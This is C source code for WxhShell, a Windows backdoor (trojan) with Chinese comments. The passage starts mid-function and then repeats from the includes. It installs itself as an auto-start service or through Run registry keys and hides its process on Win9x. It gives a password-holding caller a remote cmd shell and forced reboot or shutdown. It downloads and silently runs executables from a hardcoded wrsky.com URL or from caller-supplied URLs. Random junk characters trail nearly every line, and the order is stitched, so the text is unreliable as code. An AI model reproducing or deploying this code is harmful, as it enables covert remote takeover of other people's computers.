    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &IPK5o,  
    if(Boot(SHUTDOWN)) $A0]v!P~i-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yT9RNo/w  
    else { GN"LU>9|  
    closesocket(wsh); GQAg ex)D  
    ExitThread(0); ^|12~d_.T  
    } Y%cA2V\#m  
    break; 7Z:l;%]K  
    } P*=3$-`  
  // 获取shell Jt^JE{m9%  
  case 's': { .xQ'^P_q  
    CmdShell(wsh); #Lt+6sa]2@  
    closesocket(wsh); 8n p>#V  
    ExitThread(0); lSv;wwEg  
    break; cx%9UK*c  
  } FNRE_83  
  // 退出 Q 6<Uui w  
  case 'x': { >l*9DaZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y(BLin!O.  
    CloseIt(wsh); e$|)wOwU  
    break; fe`G^hV  
    } i]WlMC6  
  // 离开 HSFf&|qqx  
  case 'q': { gG>^h1_o~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?PtRb:RHt  
    closesocket(wsh); -^yc yZ  
    WSACleanup(); 3$f5][+U  
    exit(1); /'^>-!8_1  
    break; tl#s:  
        } 6y!?xot  
  } X(q=,^Mp  
  } ~a,'  
W 9MZ  
  // 提示信息 m&c(N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Olh-(u:9+O  
} mK&9p{4#U  
  } 6HQwL\r79  
A{T@O5ucj  
  return; I`>%2mP[C  
} D??/=`|8  
dp W%LXM_  
// shell模块句柄 UC$+&&rO  
int CmdShell(SOCKET sock) n,LKkOG  
{ ]KT,s].  
STARTUPINFO si; [:'?}p  
ZeroMemory(&si,sizeof(si)); \`5u@Nzx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J~`%Nj5>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $F$R4?_  
PROCESS_INFORMATION ProcessInfo; UeeV+xU  
char cmdline[]="cmd"; }r<^]Q*&p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [,X,2  
  return 0; !9OgA  
} dR{ V,H7N  
6MQ:C'8T&=  
// 自身启动模式 QP0X8%+p  
int StartFromService(void) HaUo+,=  
{ 5ml}TSMu'  
typedef struct n:] 1^wX#  
{ =x]dP.  
  DWORD ExitStatus; glIIJ5d|,  
  DWORD PebBaseAddress; IcA~f@  
  DWORD AffinityMask; eZ$1|Sj]j  
  DWORD BasePriority; {-qTU6  
  ULONG UniqueProcessId; k= 1+mG  
  ULONG InheritedFromUniqueProcessId; Jtk(yp{Zz  
}   PROCESS_BASIC_INFORMATION; H43D=N&  
,6pH *b $  
PROCNTQSIP NtQueryInformationProcess; N'.+ezZ;h  
|:BYOxAYZ8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j"8N)la  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; izo $0  
jo#F&  
  HANDLE             hProcess; Uwa1)Lwn  
  PROCESS_BASIC_INFORMATION pbi; (j"MsCwE  
!qv;F?2 <g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k]YGD  
  if(NULL == hInst ) return 0; W}3vY]  
feHAZ.8rp+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *&MkkI#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LRs; >O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >*CK@"o  
F x8)jBB_  
  if (!NtQueryInformationProcess) return 0; ``Rb-.Fq,  
l))IO`s=_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 63$m& ]x  
  if(!hProcess) return 0; essW,2,rjC  
;Bi{;>3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Qk#;~\yB  
)CQ}LbXZy  
  CloseHandle(hProcess); !%9I%Ak^  
DJUtuex  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \(L^ /]}G)  
if(hProcess==NULL) return 0; LXl! !i%  
yK3z3"1M?  
HMODULE hMod; EV$n>.  
char procName[255]; pQ8+T|0x  
unsigned long cbNeeded; GrC")Z|3u  
UlytxWkUX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >^N :A  
Z Z7U^#RT  
  CloseHandle(hProcess); d5hE!=  
s ~G{-)*  
if(strstr(procName,"services")) return 1; // 以服务启动 OK(d&   
4y.[tk5  
  return 0; // 注册表启动 "<#:\6aym  
} Df^S77&c!  
P#PQ4uK \  
// 主模块 ?Pc 3*.  
int StartWxhshell(LPSTR lpCmdLine) p7er04/}\  
{ BZ9iy~  
  SOCKET wsl; "dTXT  
BOOL val=TRUE; Q8i6kf!  
  int port=0; {c; 3$  
  struct sockaddr_in door; dW68lVWq_  
]+P &Y:   
  if(wscfg.ws_autoins) Install(); W9"I++~f  
=ndKG5  
port=atoi(lpCmdLine); ak [)+_k_  
@( l`_Wx  
if(port<=0) port=wscfg.ws_port; O6]~5&8U.  
W[s>TDc`v  
  WSADATA data; EM}z-@A>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5{Wl(jwb  
H=C;g)R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T:$_1I $  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 67?5Cv  
  door.sin_family = AF_INET; G]CY3xw98  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H;1}Nvvd  
  door.sin_port = htons(port); ;\N*iN#K  
$EF@x}h:A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d .A0(*k,  
closesocket(wsl); oDa{HP\O]W  
return 1; TZg7BLfy  
} _!7o   
|sz9l/,lG  
  if(listen(wsl,2) == INVALID_SOCKET) { (i8 t^  
closesocket(wsl);  %3j5Q   
return 1; bE~lc}%  
} k7*q.20  
  Wxhshell(wsl); $'q(Z@  
  WSACleanup(); nCU4a1rZ  
L_,U*Jyo  
return 0; k9n93I|Cm  
hLRQ)  
} Z]<_a)>  
<h({+N  
// 以NT服务方式启动 L%FL{G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #ZA YP  
{ 30@ GFaab  
DWORD   status = 0; ^ dqEOW  
  DWORD   specificError = 0xfffffff; 7_,gAE:kG  
.E&~]<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }^muAr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z{\.3G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fm "$W^H  
  serviceStatus.dwWin32ExitCode     = 0; 8*wI^*Q  
  serviceStatus.dwServiceSpecificExitCode = 0; e+wd>iiB  
  serviceStatus.dwCheckPoint       = 0; zu#o<6E{  
  serviceStatus.dwWaitHint       = 0; D 3PF(Wx  
il~,y8WTU{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jPfoI-  
  if (hServiceStatusHandle==0) return; $$a"A(Y  
H;2pk  
status = GetLastError(); (&(f`c@I  
  if (status!=NO_ERROR) <T).+ M/  
{ .FUE F)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ee O{G*pq  
    serviceStatus.dwCheckPoint       = 0; W= !f  
    serviceStatus.dwWaitHint       = 0; rAKd f??  
    serviceStatus.dwWin32ExitCode     = status; I1g u<a  
    serviceStatus.dwServiceSpecificExitCode = specificError; }wV rmDh \  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AN@Vos Cu  
    return; 0N xaQ`\  
  } (Gcl,IW  
:Lx]`dSk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zu,f&smb  
  serviceStatus.dwCheckPoint       = 0; *D,T}N  
  serviceStatus.dwWaitHint       = 0; ZAE;$pkP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jkq+j^  
} a;K:~R+@,  
isjkfl-!  
// 处理NT服务事件,比如:启动、停止 ]l%j>Vb!L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Fj`'0Xu;  
{ G;e}z&6<k  
switch(fdwControl) C1=[\c~jw  
{ (k?OYz]c  
case SERVICE_CONTROL_STOP: PsLCO(26  
  serviceStatus.dwWin32ExitCode = 0; !ZRV\31%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iQKfx#kt  
  serviceStatus.dwCheckPoint   = 0; om1 / 9  
  serviceStatus.dwWaitHint     = 0; XL:7$  
  { ]9' \<uR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rhrlEf@  
  } ]Uu/1TTf  
  return; |fUSq1//  
case SERVICE_CONTROL_PAUSE: y{&,YV&_h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nMhc3t  
  break; D)Zv  
case SERVICE_CONTROL_CONTINUE: DCj!m<Y&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !>Xx</iD1  
  break; L|<Mtw  
case SERVICE_CONTROL_INTERROGATE: {'1,JwSmb  
  break; <6@Db$-  
}; $Ix^Rm9c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %^S1 fUwT  
} zSu2B6YU}  
Xy._&&pt  
// 标准应用程序主函数 J8jbtL O'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2,+H;Ypi!  
{ 7P  
<t8})  
// 获取操作系统版本 2h=RNU|  
OsIsNt=GetOsVer(); wNlp4Z'[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fRiHs\+  
Rh=h{O  
  // 从命令行安装 {?8rvAj Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?^dyQhb  
q45n.A6a  
  // 下载执行文件 z8o Sh t`+  
if(wscfg.ws_downexe) { ;.iy{&$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5q\]]LV>  
  WinExec(wscfg.ws_filenam,SW_HIDE); TtzB[F  
} [Y[|:_+5  
Q8_d]V=X:  
if(!OsIsNt) { Q-\: u~  
// 如果时win9x,隐藏进程并且设置为注册表启动  #u~8Txt  
HideProc(); R#0UwRjeF  
StartWxhshell(lpCmdLine); % n^]1R#  
} #r\uh\Cy  
else di|l?l^l  
  if(StartFromService()) Cd4G&(=  
  // 以服务方式启动 B#=dz,}  
  StartServiceCtrlDispatcher(DispatchTable); v"`w'+  
else sS._N@f  
  // 普通方式启动 7j^,4;  
  StartWxhshell(lpCmdLine); .m .v$(  
' `S,d[~  
return 0; ^Oo%`(D?  
} , vWcWT  
/wQDcz  
{J[0UZ6  
#(%6urd  
=========================================== QgP UP[  
='(:fHhhX  
w0pH|$"/P  
7>#74oy  
d4lEd>Ni  
N)QW$iw9  
" .mMM]*e[0  
Hg]r5Fe/c  
#include <stdio.h> xT%CY(:9X  
#include <string.h> )Ipa5i>t  
#include <windows.h> $(BW |Pc  
#include <winsock2.h> DUaj]V{_^  
#include <winsvc.h> KyjN'F$  
#include <urlmon.h> 0ZO!_3m$r  
/0A}N$?>:  
#pragma comment (lib, "Ws2_32.lib") V[#jrwhA  
#pragma comment (lib, "urlmon.lib") :p89J\  
_f/6bpv  
#define MAX_USER   100 // 最大客户端连接数 bi QDupTz  
#define BUF_SOCK   200 // sock buffer yJ?6BLJi  
#define KEY_BUFF   255 // 输入 buffer Ls( &.  
H d :2  
#define REBOOT     0   // 重启 d%iMjY`~[g  
#define SHUTDOWN   1   // 关机 )<%GHDWL  
T{Av[>M  
#define DEF_PORT   5000 // 监听端口 LBTf}T\  
iNcB6,++  
#define REG_LEN     16   // 注册表键长度 rAgb<D@,H  
#define SVC_LEN     80   // NT服务名长度 X4gs{kx}|  
+5voAx!  
// 从dll定义API HUZI7rC[=)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~OXPn9qPp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mp}U>+8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }5EvBEv-)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1jDN=hIl  
(m13 ong  
// wxhshell配置信息  Hi#hf"V  
struct WSCFG { qeypa !  
  int ws_port;         // 监听端口 nPE{Gp) }  
  char ws_passstr[REG_LEN]; // 口令 T< D&%)  
  int ws_autoins;       // 安装标记, 1=yes 0=no umI@ej+D  
  char ws_regname[REG_LEN]; // 注册表键名 y-9Mm9J  
  char ws_svcname[REG_LEN]; // 服务名 12.|Ed*72  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U`z=!KI+g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n&Bgpt~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /C}u,dBf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %AaZc=a[c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fC&hi6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f<<1.4)oSV  
 (cx Q<5  
}; tw,uV)xm  
FG/1!8F  
// default Wxhshell configuration ka0MuQ M  
struct WSCFG wscfg={DEF_PORT, !#3v<_]#d  
    "xuhuanlingzhe", *jM]:GpyoU  
    1, G8}k9?26(  
    "Wxhshell", jBb:)  
    "Wxhshell", A{MMY{K3  
            "WxhShell Service", z#m ~}  
    "Wrsky Windows CmdShell Service", Fsz;T;  
    "Please Input Your Password: ", 6o6I]QL  
  1, n86LU Sj5  
  "http://www.wrsky.com/wxhshell.exe", !c W6dc^  
  "Wxhshell.exe" .kcyw>T`I  
    }; LtW}R4}3  
?L x*MJZ  
// 消息定义模块 7v't# =  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q\rf J||  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _\;0E!=p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E%LUJx}  
char *msg_ws_ext="\n\rExit."; .~u[rc|<  
char *msg_ws_end="\n\rQuit."; W[/Txc0$  
char *msg_ws_boot="\n\rReboot..."; WUrE1%u  
char *msg_ws_poff="\n\rShutdown..."; t^ Ge "  
char *msg_ws_down="\n\rSave to "; !Ah v07SI  
)Vd^#p  
char *msg_ws_err="\n\rErr!"; $t0o*i{  
char *msg_ws_ok="\n\rOK!"; f\xmv|8  
wDR/Vr"f  
char ExeFile[MAX_PATH]; 5If.[j{  
int nUser = 0; 4 K5  
HANDLE handles[MAX_USER]; u:.w/k%+  
int OsIsNt; -Gy=1W`09  
>e^bq/'  
SERVICE_STATUS       serviceStatus; 6 dgwsl~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =U'!<w<-  
9k /L m  
// 函数声明 AO, o|,#4F  
int Install(void); S#kYPe  
int Uninstall(void); s@zO`uBc  
int DownloadFile(char *sURL, SOCKET wsh); (1 (~r"4I  
int Boot(int flag); Uo?4o*}  
void HideProc(void); qF\w#nG  
int GetOsVer(void); /z! Tgs4  
int Wxhshell(SOCKET wsl); r3  qKT  
void TalkWithClient(void *cs); PzOnS   
int CmdShell(SOCKET sock); ;6:9EEd  
int StartFromService(void); bMn)lrsX  
int StartWxhshell(LPSTR lpCmdLine); -U*J5Q  
Qo32oT[DM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,BUrZA2\U$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,oykOda:|  
(@->AJF1\  
// 数据结构和表定义 I3HO><o f  
SERVICE_TABLE_ENTRY DispatchTable[] = <2N{oK.  
{ JR8|!Of@B  
{wscfg.ws_svcname, NTServiceMain}, 'i',M+0>jC  
{NULL, NULL} S /"G=^~  
}; 7r&lW<:>  
{xx}xib3  
// 自我安装 "}MP{/  
int Install(void) {]2^b)  
{ eAmI~oku  
  char svExeFile[MAX_PATH]; Om^(CAp  
  HKEY key; &(oA/jFQ  
  strcpy(svExeFile,ExeFile); T*:w1*:  
\3OEC`  
// 如果是win9x系统,修改注册表设为自启动 Ge_fU'F  
if(!OsIsNt) { +5S>"KAUt0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @^T~W^+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p#).;\M   
  RegCloseKey(key); rY 6x):sC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >"8;8Ev  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :s6aFiz  
  RegCloseKey(key); A 0v=7 ]  
  return 0; Fei5'  
    } )X?oBNsj  
  } FRuPv6  
} {CV+1kz  
else { r4pX4 7H  
fcxg6W'  
// 如果是NT以上系统,安装为系统服务 P0yDL:X[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v^ "qr?3V  
if (schSCManager!=0) BBM[Fy37!}  
{ ,`JYFh M  
  SC_HANDLE schService = CreateService sC.b '1P  
  ( Q7rBc wm5  
  schSCManager, qCg<g  
  wscfg.ws_svcname, ulxfxfd  
  wscfg.ws_svcdisp, @4hzNi+  
  SERVICE_ALL_ACCESS, g'KxjjYT,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ffG<hclk  
  SERVICE_AUTO_START, ||JUP}eP  
  SERVICE_ERROR_NORMAL, 4XNheP;b  
  svExeFile, VE-l6@`  
  NULL, h~7#$i  
  NULL, pd:7K'yaw  
  NULL, "h#R>3I1)  
  NULL, g:z<CSIq/  
  NULL D#UuIZ  
  ); ''YqxJ fb  
  if (schService!=0) I<O$);DV'  
  { @oE 5JM  
  CloseServiceHandle(schService); xRe`Duy:  
  CloseServiceHandle(schSCManager); #m,H1YH M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `0\Z*^>  
  strcat(svExeFile,wscfg.ws_svcname); PFuhvw~?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nm@ h5ON_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z3y{0<3  
  RegCloseKey(key); (B>/LsTu  
  return 0; 'g!T${  
    } <a]i"s  
  } TY)QE  
  CloseServiceHandle(schSCManager); i}VF$XN  
} SK lvZ  
} _8a;5hS  
qS#G7~ur>y  
return 1; c`soVqT$?  
} '|DW#l\n  
-T,?'J0 2  
// 自我卸载 lFGuQLuqA{  
int Uninstall(void) &1$d`>fn  
{ l::q F 0  
  HKEY key; QQBh)5F  
QkBw59L7  
if(!OsIsNt) { E +_n@t"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <%m YsaM  
  RegDeleteValue(key,wscfg.ws_regname); +b(};(wL  
  RegCloseKey(key); Z+&V  >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +P^ ;7"H  
  RegDeleteValue(key,wscfg.ws_regname); @khFk.LBD  
  RegCloseKey(key); U?#wWbE1  
  return 0; h+}BtKA  
  } -B;#pTG  
} SLKpl LO  
} Wd:pqhLh  
else { umIGI  
bZ\R0[0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s0/O/G?  
if (schSCManager!=0) o]4]fLQ  
{ x~V[}4E%>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3PE.7-HF  
  if (schService!=0) 4yxQq7 m,  
  { 0G+Q^]0  
  if(DeleteService(schService)!=0) { nF@**,C Q  
  CloseServiceHandle(schService); @|\9<S  
  CloseServiceHandle(schSCManager); R9U{r.AA  
  return 0; 3>KEl^1DB  
  } c_3B:F7  
  CloseServiceHandle(schService); S@/{34,  
  } WO_Uc_R  
  CloseServiceHandle(schSCManager); /W/e%.  
} 1,-C*T}nR  
}  T Rv  
=SJ#6uFS  
return 1; QQrldc(I  
} "'U^8NA2  
4>d4g\Z0L  
// 从指定url下载文件 $G".PWc  
int DownloadFile(char *sURL, SOCKET wsh) ;7'O=%  
{ $Zu?Gd?  
  HRESULT hr; +V4)><  
char seps[]= "/"; #*o0n>O  
char *token; QTy=VLk43  
char *file; <T}^:2G|  
char myURL[MAX_PATH];  6:zPWJB  
char myFILE[MAX_PATH]; ]l,D,d81  
,b*?7R  
strcpy(myURL,sURL); CD&a_-'z$K  
  token=strtok(myURL,seps); $94lF~  
  while(token!=NULL) y\T$) XGV  
  { tgF~5 o}?  
    file=token; g88k@<Y  
  token=strtok(NULL,seps); jZA1fV  
  } tm~9XFQ<  
0>28o.  
GetCurrentDirectory(MAX_PATH,myFILE); ;/Hr ZhOE  
strcat(myFILE, "\\"); "*bLFORkq'  
strcat(myFILE, file); K(+=V)'Dz  
  send(wsh,myFILE,strlen(myFILE),0); UD-+BUV  
send(wsh,"...",3,0); |{#St-!-7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ok!P~2J  
  if(hr==S_OK) L]=]/>jQ6  
return 0; 1aAOT6h  
else ~O}r<PQ  
return 1; D_l$"35?  
zDvV%+RW)  
} $MR1 *_\V  
pr<u 5  
// 系统电源模块 Cj= R\@  
int Boot(int flag) !]F`qS>  
{ {8m&Z36E  
  HANDLE hToken; Qw0k-t0=4  
  TOKEN_PRIVILEGES tkp; Cff6EE  
j,OA>{-$  
  if(OsIsNt) { d]E=w6 +;Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  .\oz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ic'D# m  
    tkp.PrivilegeCount = 1; y4kn2Mw;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7J);{ &x9h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bW`nLiw}%  
if(flag==REBOOT) { wq?"NQ?O<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iHv+I~/  
  return 0; F@<cp ?dR  
} >g$iO`2  
else { 1)~|{X+~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OC&BJNOi  
  return 0; gt8dFcm|s  
} f#l9rV"@g  
  } ^&;,n.X5Z  
  else { K@p9_K8  
if(flag==REBOOT) { ^]o H}lwO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n/v.U,f&l@  
  return 0; cxR.:LD}  
} .rBU"Rbo  
else { 0Z2XVq~T$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ep8UWxB5  
  return 0; |sGJum&=  
} ,a>Dv@$Y  
} vv)q&,<c  
;pm/nu  
return 1; LVUA"'6V  
} `+Nv =vk  
vd%AV(]<LJ  
// win9x进程隐藏模块 "nz\YQdg  
void HideProc(void) r5gqRh}+  
{ '-"[>`[q  
Z` kVyuQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2sGKn a  
  if ( hKernel != NULL ) : ;8L1'  
  { ^|<>`i6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7)U ik}0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3FvVM0l"  
    FreeLibrary(hKernel); Fx!D:.)/G  
  } P].Eb7I  
>~ *wPoW  
return; ,|*Gr"Q=  
} "EpH02{i  
,x\qYz+7|  
// 获取操作系统版本 %vO(.A+  
int GetOsVer(void) `\@n&y[`7  
{ :?UcD_F  
  OSVERSIONINFO winfo; <oXBkCi0r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #e.x]v:  
  GetVersionEx(&winfo); 4Q!%16 P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3^P;mQ$p1  
  return 1; @:im/SE  
  else 53hX%{3  
  return 0; &B5&:ib1D  
} `a52{Wa  
R?1Z[N  
// 客户端句柄模块 v{$?Ow T/u  
int Wxhshell(SOCKET wsl) TFOx=_.%i  
{ p"P+8"`  
  SOCKET wsh; ^U?Ac=  
  struct sockaddr_in client; F;_c x  
  DWORD myID; 9qDM0'WuU  
RR=WD-l  
  while(nUser<MAX_USER) -\p&18K#  
{ Fa h6 &a  
  int nSize=sizeof(client); Zb_A(mnzh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2c]751  
  if(wsh==INVALID_SOCKET) return 1; RL&0?OT  
~0+<-T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zf8SpQ2~  
if(handles[nUser]==0) CA|l| t^  
  closesocket(wsh); u3 Z]!l  
else WZ`i\s1#  
  nUser++; gaC4u,Zb  
  } bLS10^g5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jvv=  
+UWv}|  
  return 0; 'C}ku>B_r  
} -'O|D}  
\A^8KVE!  
// 关闭 socket (Zx--2lc  
void CloseIt(SOCKET wsh) W;8A{3q%N0  
{ ;1yF[<a  
closesocket(wsh); ,~,q 0PA7J  
nUser--; !\|  
ExitThread(0); 9{3_2CIL  
} [f\Jcjc  
IG|u;PH<  
// 客户端请求句柄 <V)z{uK  
void TalkWithClient(void *cs) 2u-J+  
{ .h4NG4FIF  
,){#J"W  
  SOCKET wsh=(SOCKET)cs; X*MK(aV3  
  char pwd[SVC_LEN]; Z^Um\f   
  char cmd[KEY_BUFF]; Z796;qk  
char chr[1]; u[KxI9Q  
int i,j; >VZxDJ$R  
v .*fJ   
  while (nUser < MAX_USER) { $@kOMT  
Vo^J2[U  
if(wscfg.ws_passstr) { #|8%h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vCej( ))  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 59$PWfi-\  
  //ZeroMemory(pwd,KEY_BUFF); +5I5  
      i=0; G11KAq(  
  while(i<SVC_LEN) { a~@f,bw  
w:nH_x#C4  
  // 设置超时 U]+IP;YS  
  fd_set FdRead; L8n?F#q  
  struct timeval TimeOut; @r[SqGa:  
  FD_ZERO(&FdRead); mW{uChHP  
  FD_SET(wsh,&FdRead); $,O8SW.O$  
  TimeOut.tv_sec=8; &\ca ? #  
  TimeOut.tv_usec=0; ]#DCO8Vk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a e-tAA[1Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5nBJj  
)2wf D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "5dke^yk0  
  pwd=chr[0]; CB-;Jqb  
  if(chr[0]==0xd || chr[0]==0xa) { m+8:_0x "  
  pwd=0; :FU?vh$)  
  break; \:@7)(p\;  
  } i `f!)1  
  i++; G6{'|CV  
    } }D!tB  
.fqy[qrM  
  // 如果是非法用户,关闭 socket L'a+1O1q&i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oCE'@}s.i  
} |5`ecjb.  
q2F `q. j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $bKXP(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E@otV6Wk[@  
{S+?n[1r\  
while(1) { D=vw0Q_3Y3  
#b&tNZ4!_  
  ZeroMemory(cmd,KEY_BUFF); pam9wfP  
 |15!D  
      // 自动支持客户端 telnet标准   iku*\,6W  
  j=0; Gjq7@F'  
  while(j<KEY_BUFF) { LCS.C(n,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4D n&+=fq  
  cmd[j]=chr[0]; 'Q=)-  
  if(chr[0]==0xa || chr[0]==0xd) { Z5oDj|&l}  
  cmd[j]=0; _#v"sGmN  
  break; l]D $QT3  
  } 'bLP#TAzf  
  j++; j&/+/s9N  
    } lijT L-3  
_:NQF7X#ug  
  // 下载文件 OO?N)IB@  
  if(strstr(cmd,"http://")) { :4)x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #>KiX84  
  if(DownloadFile(cmd,wsh)) NwOV2E6@OW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6q'Q ?Uw^  
  else ,6MJW#~]  
